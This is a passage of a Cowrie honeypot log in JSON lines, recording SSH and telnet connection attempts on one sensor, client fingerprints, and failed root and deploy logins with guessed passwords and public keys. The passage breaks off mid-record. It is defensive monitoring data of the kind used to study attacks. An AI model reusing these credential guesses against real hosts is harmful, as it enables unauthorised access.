{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:44:18.543987Z","src_ip":"194.113.233.25","session":"363a146a17ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"analizi","message":"login attempt [root/analizi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:44:18.835962Z","src_ip":"194.113.233.25","session":"363a146a17ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55018,"dst_ip":"10.17.0.5","dst_port":23,"session":"c02ab61c60a9","protocol":"telnet","message":"New connection: 152.42.224.71:55018 (10.17.0.5:23) [session: c02ab61c60a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:44:18.978959Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:44:19.932494Z","src_ip":"194.113.233.25","session":"363a146a17ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55022,"dst_ip":"10.17.0.5","dst_port":23,"session":"9096f4ed185b","protocol":"telnet","message":"New connection: 152.42.224.71:55022 (10.17.0.5:23) [session: 9096f4ed185b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:44:22.172618Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55034,"dst_ip":"10.17.0.5","dst_port":23,"session":"be5e64675100","protocol":"telnet","message":"New connection: 152.42.224.71:55034 (10.17.0.5:23) [session: be5e64675100]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:44:22.768704Z"}
{"eventid":"cowrie.session.connect","src_ip":"102.223.47.171","src_port":50482,"dst_ip":"10.17.0.5","dst_port":22,"session":"592eedb6106f","protocol":"ssh","message":"New connection: 102.223.47.171:50482 (10.17.0.5:22) [session: 592eedb6106f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:44:29.843598Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:44:29.852569Z","src_ip":"102.223.47.171","session":"592eedb6106f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:44:30.082425Z","src_ip":"102.223.47.171","session":"592eedb6106f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fa:ae:eb:2a:0e:6f:24:ea:51:a2:64:cc:39:7d:73:93","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1XwxV1MPsOc3cgFWTD4clOgp7KjvpMluqQVctkQtXP+Afvg3K/g+IqC83hBsnQmRMq1rGkrGIU0jflnVy6G7rZohkNOUpJI2JgsUdzagJ/p9SgkARhUQFdwtZF/X3wpMU+m7kTXdI1cE5usiifMdBWCjQ53HLickPPB4KNFVyO7+qsuCLzoQn7/zQoPpkrT2BZRQHoZDFrQe5q0ot13kqTTR/bbF0s+e0EAiP9H93C9GFETkNFH/GTWNs8U3Vlx1CIV3ZG2bwV6cBokMtyLhiRIf4TI7U7+orwW6rIkuG1rXxhAXZH1Kf/RdARIzgzygra2473MKBbi3GPBuBbz+l","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fa:ae:eb:2a:0e:6f:24:ea:51:a2:64:cc:39:7d:73:93","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:44:31.184497Z","src_ip":"102.223.47.171","session":"592eedb6106f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fa:ae:eb:2a:0e:6f:24:ea:51:a2:64:cc:39:7d:73:93","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1XwxV1MPsOc3cgFWTD4clOgp7KjvpMluqQVctkQtXP+Afvg3K/g+IqC83hBsnQmRMq1rGkrGIU0jflnVy6G7rZohkNOUpJI2JgsUdzagJ/p9SgkARhUQFdwtZF/X3wpMU+m7kTXdI1cE5usiifMdBWCjQ53HLickPPB4KNFVyO7+qsuCLzoQn7/zQoPpkrT2BZRQHoZDFrQe5q0ot13kqTTR/bbF0s+e0EAiP9H93C9GFETkNFH/GTWNs8U3Vlx1CIV3ZG2bwV6cBokMtyLhiRIf4TI7U7+orwW6rIkuG1rXxhAXZH1Kf/RdARIzgzygra2473MKBbi3GPBuBbz+l","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:44:31.188292Z","src_ip":"102.223.47.171","session":"592eedb6106f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9b:79:1a:8c:6f:dc:d9:33:f8:97:25:ee:4c:fc:fe:f4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC41IPOR+N/JIHN6tUfDSCQA2PiNBE6OchnCl8URKi+wRX+vFTFqqCJTlVIXU6c9f2dKH/ZANY8HMoEt0ZLYry58A+mrgAPyTbXVMTsOZSUtqbZxLEUs67AbNkRD83c1GDJ/S6gtKNgnn2JbdaOYh462uY63KN9krzLCZxQJEdMROoP+plszkaXToNpfrhYEyBn0awzf/7g28UMKBFw02swVKhZOb3DEQ3iUgBVfLtPqxayx38eocEl311nIQIQfTc1FJmaUQdOu0kBfWU8gSgnNbQXtt07k758358d1mDGqJSPb+npvnssRvD+Oic3jOOj3WlglKRcDPMmB4usARkk6Q3cfwNoUNUZBzB6O/YD8mBU0VibT1sSuWZH+PphJgol/VVIC36KSz6dSLSCQ8lCY4LZGi10gYf/cpEpDAFkcoPArRf6o3N8NzHsg4gmrbxz4aCbwVVzO7DWfsHb4WWJx5ZOgFne1+iuM55SYPlmY6eDLNupWQxZQQ2UTAnWZy8=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9b:79:1a:8c:6f:dc:d9:33:f8:97:25:ee:4c:fc:fe:f4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:44:31.413275Z","src_ip":"102.223.47.171","session":"592eedb6106f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9b:79:1a:8c:6f:dc:d9:33:f8:97:25:ee:4c:fc:fe:f4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC41IPOR+N/JIHN6tUfDSCQA2PiNBE6OchnCl8URKi+wRX+vFTFqqCJTlVIXU6c9f2dKH/ZANY8HMoEt0ZLYry58A+mrgAPyTbXVMTsOZSUtqbZxLEUs67AbNkRD83c1GDJ/S6gtKNgnn2JbdaOYh462uY63KN9krzLCZxQJEdMROoP+plszkaXToNpfrhYEyBn0awzf/7g28UMKBFw02swVKhZOb3DEQ3iUgBVfLtPqxayx38eocEl311nIQIQfTc1FJmaUQdOu0kBfWU8gSgnNbQXtt07k758358d1mDGqJSPb+npvnssRvD+Oic3jOOj3WlglKRcDPMmB4usARkk6Q3cfwNoUNUZBzB6O/YD8mBU0VibT1sSuWZH+PphJgol/VVIC36KSz6dSLSCQ8lCY4LZGi10gYf/cpEpDAFkcoPArRf6o3N8NzHsg4gmrbxz4aCbwVVzO7DWfsHb4WWJx5ZOgFne1+iuM55SYPlmY6eDLNupWQxZQQ2UTAnWZy8=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:44:31.417118Z","src_ip":"102.223.47.171","session":"592eedb6106f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"70:f1:03:9a:10:11:8b:52:cd:ff:b1:1a:a0:6f:76:f4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAv6cl+TitppwsMvXWeYQz6LOf3BykzYo5F8rzRRWV1mJ6L1OxCuwybcb9ceApttQOLE12KzLURi8mkFIjjBYO9DA68RhBA0WyhMoGvtdkO7UrnD/7YcvdyTvmbJXBgQuF7tnfH6h/8gJdYTHOaro5tmfktH3PVpH4IQKLkiIXHNyWeCwaJF0AmI02pFIJnV0legKf8hAwlVWyvmT57WAypT+NProL7+vMOFJXg8tUryVPk2qX9tKzxZd0ZNEfl/0q+ryECgzSTv9pixj0/Qbckr3hBEB4PbVwu0KIObpAMxSOBbuv9+2qb9s8DHgbVAeD2p9Pf2zw92XF1TdoOv7JeQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 70:f1:03:9a:10:11:8b:52:cd:ff:b1:1a:a0:6f:76:f4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:44:31.642651Z","src_ip":"102.223.47.171","session":"592eedb6106f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"70:f1:03:9a:10:11:8b:52:cd:ff:b1:1a:a0:6f:76:f4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAv6cl+TitppwsMvXWeYQz6LOf3BykzYo5F8rzRRWV1mJ6L1OxCuwybcb9ceApttQOLE12KzLURi8mkFIjjBYO9DA68RhBA0WyhMoGvtdkO7UrnD/7YcvdyTvmbJXBgQuF7tnfH6h/8gJdYTHOaro5tmfktH3PVpH4IQKLkiIXHNyWeCwaJF0AmI02pFIJnV0legKf8hAwlVWyvmT57WAypT+NProL7+vMOFJXg8tUryVPk2qX9tKzxZd0ZNEfl/0q+ryECgzSTv9pixj0/Qbckr3hBEB4PbVwu0KIObpAMxSOBbuv9+2qb9s8DHgbVAeD2p9Pf2zw92XF1TdoOv7JeQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:44:31.646671Z","src_ip":"102.223.47.171","session":"592eedb6106f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7f:e2:c9:a1:2a:03:6f:95:d3:9a:f8:70:e9:1f:fc:31","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCz9PiBqiHxFoOx+i28g8KTuwPpy9M52xs6B4PFRxb1ycizXbLT4BNgPg9yyv8qlXV0d/o7bzV6fFDrRQ3aOalmfTLEGcEjh/e3/WIsSscGfynrT++aeGgMrGHDWhqDLecdUcm0lNm26pSPOU/izN11Dgs/NyOuGbVtaCPqc8iYuzG0G+E6H2dSEww43dQzsGVprcRphIQWucjw/TT5ilhB+pjUCBfXpzxxetBKtFpiCZywQxxud78P45Lb/pDqLG/1h9ZfJFENY+bKa48DnaREjE7qlIzoQcxJjhSPZwHFWmsG4598vy1VcE9qqRWPyJhr6QfRk6i3YOYSg5xHAVwN2nADnBkpaeyzfMW3qvbUCt0kRLHVX9KPZ6pW1PVxKM5GCJXlLL68sGlRuH127xYbinV36psXV9RIemSymE1q8QATls/8Be1BQW53aKeXgmyqbHkK/yumdvbQ1nI7tSRkBOZZFjkpsyZRtUSWBk93DY37yxwJksHET2Xc8/TII0Jj3vGykmiEzI9X9bWfd/UhFwlhlIYBLmKV9jmtAMGFOOjtwAYL6lKm9/TGA55BpswD100veFrqJdFKw3/gbR/GslozWh/1tpwlYICJh7D4vyRtkjlKeu21UiyF7Pcq+S21hSs/+SoIVWmyGuINc8wOuylNK/Es6D2u8WED6xugQQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7f:e2:c9:a1:2a:03:6f:95:d3:9a:f8:70:e9:1f:fc:31","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:44:31.871407Z","src_ip":"102.223.47.171","session":"592eedb6106f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7f:e2:c9:a1:2a:03:6f:95:d3:9a:f8:70:e9:1f:fc:31","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCz9PiBqiHxFoOx+i28g8KTuwPpy9M52xs6B4PFRxb1ycizXbLT4BNgPg9yyv8qlXV0d/o7bzV6fFDrRQ3aOalmfTLEGcEjh/e3/WIsSscGfynrT++aeGgMrGHDWhqDLecdUcm0lNm26pSPOU/izN11Dgs/NyOuGbVtaCPqc8iYuzG0G+E6H2dSEww43dQzsGVprcRphIQWucjw/TT5ilhB+pjUCBfXpzxxetBKtFpiCZywQxxud78P45Lb/pDqLG/1h9ZfJFENY+bKa48DnaREjE7qlIzoQcxJjhSPZwHFWmsG4598vy1VcE9qqRWPyJhr6QfRk6i3YOYSg5xHAVwN2nADnBkpaeyzfMW3qvbUCt0kRLHVX9KPZ6pW1PVxKM5GCJXlLL68sGlRuH127xYbinV36psXV9RIemSymE1q8QATls/8Be1BQW53aKeXgmyqbHkK/yumdvbQ1nI7tSRkBOZZFjkpsyZRtUSWBk93DY37yxwJksHET2Xc8/TII0Jj3vGykmiEzI9X9bWfd/UhFwlhlIYBLmKV9jmtAMGFOOjtwAYL6lKm9/TGA55BpswD100veFrqJdFKw3/gbR/GslozWh/1tpwlYICJh7D4vyRtkjlKeu21UiyF7Pcq+S21hSs/+SoIVWmyGuINc8wOuylNK/Es6D2u8WED6xugQQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:44:31.875419Z","src_ip":"102.223.47.171","session":"592eedb6106f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9e:11:f6:30:c7:70:4a:1c:fd:e0:e6:e3:ac:91:7b:80","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCmQtx8ALpDRpi2VOESgcXZpKcj5ZSX8JIvtYUsDueK9A9SG1ZcPSiUKOkI+ma8D5iBuc2o34L7Bc9opZyU/wP5NUSFwbW9JM6FFr5wyVUcbKsBXLKnft9o2bpCN7jngOGMLdmqmoPy56YQIzopBoyfJPFftL5MEB2zmMzcwAw5KupOBHky65NOBzo2iKTs2B6XOsj94T/8afOSsBR3Yt+vjRPO7OhEN85n/QDz5z9ycz1JMN9cIZoTlawWz0A4DEpPxSEHj9BWlZBTU/80NBz4l52V44v5tpfBocLAIDs94Q+CnUkqHfLbwt44fjyWYJPSgEDAJ0vT4RinbNNJemG9","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9e:11:f6:30:c7:70:4a:1c:fd:e0:e6:e3:ac:91:7b:80","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:44:32.105872Z","src_ip":"102.223.47.171","session":"592eedb6106f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9e:11:f6:30:c7:70:4a:1c:fd:e0:e6:e3:ac:91:7b:80","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCmQtx8ALpDRpi2VOESgcXZpKcj5ZSX8JIvtYUsDueK9A9SG1ZcPSiUKOkI+ma8D5iBuc2o34L7Bc9opZyU/wP5NUSFwbW9JM6FFr5wyVUcbKsBXLKnft9o2bpCN7jngOGMLdmqmoPy56YQIzopBoyfJPFftL5MEB2zmMzcwAw5KupOBHky65NOBzo2iKTs2B6XOsj94T/8afOSsBR3Yt+vjRPO7OhEN85n/QDz5z9ycz1JMN9cIZoTlawWz0A4DEpPxSEHj9BWlZBTU/80NBz4l52V44v5tpfBocLAIDs94Q+CnUkqHfLbwt44fjyWYJPSgEDAJ0vT4RinbNNJemG9","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:44:32.109928Z","src_ip":"102.223.47.171","session":"592eedb6106f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:44:32.336052Z","src_ip":"102.223.47.171","session":"592eedb6106f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.386958599090576,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:44:37.608322Z","src_ip":"152.42.224.71","session":"686ef02ae6b9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":28.46361017227173,"message":"Connection lost after 28 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:44:40.078347Z","src_ip":"152.42.224.71","session":"54f1afb95076","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.28.136","src_port":39856,"dst_ip":"159.203.135.109","dst_port":22,"session":"3d526ec9b99d","protocol":"ssh","message":"New connection: 43.156.28.136:39856 (159.203.135.109:22) [session: 3d526ec9b99d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:44:41.250328Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:44:41.255003Z","src_ip":"43.156.28.136","session":"3d526ec9b99d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:44:41.491856Z","src_ip":"43.156.28.136","session":"3d526ec9b99d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"123456789","message":"login attempt [deploy/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:44:42.468362Z","src_ip":"43.156.28.136","session":"3d526ec9b99d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:44:43.711018Z","src_ip":"43.156.28.136","session":"3d526ec9b99d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":96.1458797454834,"message":"Connection lost after 96 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:44:44.693383Z","src_ip":"152.42.224.71","session":"a1c4d2416611","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35094,"dst_ip":"10.17.0.5","dst_port":23,"session":"3eae624f0714","protocol":"telnet","message":"New connection: 152.42.224.71:35094 (10.17.0.5:23) [session: 3eae624f0714]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:44:46.153628Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35098,"dst_ip":"10.17.0.5","dst_port":23,"session":"4a835046e6b2","protocol":"telnet","message":"New connection: 152.42.224.71:35098 (10.17.0.5:23) [session: 4a835046e6b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:44:48.981778Z"}
{"eventid":"cowrie.session.closed","duration":54.797850370407104,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:44:49.908240Z","src_ip":"152.42.224.71","session":"6687c271a6b9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.97682213783264,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:44:49.955653Z","src_ip":"152.42.224.71","session":"c02ab61c60a9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.7254056930542,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:44:59.335288Z","src_ip":"152.42.224.71","session":"55041b8368c0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.188.177.46","src_port":46392,"dst_ip":"159.203.135.109","dst_port":22,"session":"cc632e9f4b7e","protocol":"ssh","message":"New connection: 103.188.177.46:46392 (159.203.135.109:22) [session: cc632e9f4b7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:45:02.613378Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:45:02.619801Z","src_ip":"103.188.177.46","session":"cc632e9f4b7e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ss